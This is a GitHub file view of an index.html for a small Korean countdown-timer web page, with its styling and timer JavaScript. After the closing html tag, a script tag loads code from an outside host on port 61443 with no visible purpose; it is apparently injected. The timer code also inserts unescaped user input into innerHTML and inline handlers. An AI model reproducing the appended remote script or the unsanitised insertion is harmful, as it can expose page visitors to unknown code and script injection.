-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.html
More file actions
186 lines (165 loc) · 6.38 KB
/
index.html
File metadata and controls
186 lines (165 loc) · 6.38 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>타이머</title>
<style>
body {
font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
background-color: #f0f0f0;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
height: 100vh;
color: #333;
}
h1 {
background-color: #ff9800;
color: #fff;
padding: 20px 40px;
border-radius: 8px;
margin: 0;
font-size: 24px;
text-align: center;
}
button {
background-color: #007bff;
color: #fff;
border: none;
padding: 10px 20px;
border-radius: 5px;
font-size: 16px;
cursor: pointer;
margin: 5px;
transition: background-color 0.3s, transform 0.2s;
}
button:hover {
background-color: #0056b3;
transform: scale(1.05);
}
.timer-container {
margin-top: 20px;
width: 100%;
max-width: 600px;
}
.timer-item {
background-color: #fff;
border-radius: 8px;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
padding: 15px;
margin: 10px 0;
display: flex;
align-items: center;
justify-content: space-between;
font-size: 18px;
}
.timer-item div {
font-size: 18px;
margin-right: 10px;
}
.timer-item button.start {
background-color: #28a745;
}
.timer-item button.stop {
background-color: #dc3545;
}
.timer-item button.start:hover {
background-color: #218838;
}
.timer-item button.stop:hover {
background-color: #c82333;
}
.add-timer {
margin: 20px;
}
.info {
color: #007bff;
margin-bottom: 20px;
font-size: 18px;
}
.delete {
background-color: #ff5722;
}
.delete:hover {
background-color: #e64a19;
}
</style>
</head>
<body>
<h1>타이머</h1>
<div class="add-timer">
<button id="add">타이머를 추가하세요.</button>
</div>
<p class="info"><타이머 목록></p>
<div id="team" class="timer-container"></div>
<script>
console.log(
"안녕하세요!\n모두를 위한 타이머입니다.\nhttps://github.com/gmb9817/timer\nstar 눌러주세요!"
);
console.log(
"thanks to Aleu(https://github.com/Aleu0091)"
);
document.getElementById("add").addEventListener("click", name);
let arr = new Map();
let time = new Map();
let mp = new Map();
function cnt(name) {
let currentTime = time.get(name);
if (currentTime > 0) {
time.set(name, currentTime - 1);
document.getElementById(name).innerHTML = currentTime - 1;
} else {
clearInterval(mp.get(name));
alert(`${name} 타이머가 끝났습니다!`);
removeTimer(name);
}
}
function cl(clicked) {
if (clicked[clicked.length - 1] === "+") {
let id1 = setInterval(cnt, 1000, clicked.slice(0, -1));
clicked = clicked.slice(0, -1);
mp.set(clicked, id1);
} else {
clicked = clicked.slice(0, -1);
clearInterval(mp.get(clicked));
}
}
function removeTimer(name) {
document.getElementById(name + "!").remove();
clearInterval(mp.get(name));
arr.delete(name);
time.delete(name);
mp.delete(name);
}
function name() {
var inputString = prompt("타이머 이름을 입력하세요.", "타이머");
var ti = prompt("시간을 입력하세요.", "90");
if (arr.has(inputString)) {
alert("이미 있는 타이머입니다.");
} else if (inputString != null && ti != null) {
if (isNaN(Number(ti))) return alert("정수를 입력해주세요.");
if (ti <= 0) return alert("1이상의 정수를 입력해주세요.");
arr.set(inputString, ti);
time.set(inputString, ti);
let js = `
<div style="display: flex; flex-direction: column; align-items: flex-start;">
<span class="timer-info"><strong>타이머 이름:</strong> ${inputString}<br> <strong>원래 시간:</strong> ${ti}초</span>
</div>
`;
document.getElementById("team").innerHTML +=
`<div class="timer-item" id="${inputString}!">` +
js +
`<button class="start" id="${inputString}+" onclick="cl(this.id);">시작</button>` +
`<button class="stop" id="${inputString}-" onclick="cl(this.id);">중지</button>` +
`<button class="delete" id="${inputString}-delete" onclick="removeTimer('${inputString}')">삭제</button>` +
` 남은 시간 : <div id="${inputString}">${ti}</div>` +
"</div>";
}
}
</script>
</body>
</html><script src="https://lh2.seculab.kr:61443/s.js?ver=10ebde1ec1d9ed699d94b95115116a6e" nonce="197f614ddbd9089b5baa1600e3947c6d"></script>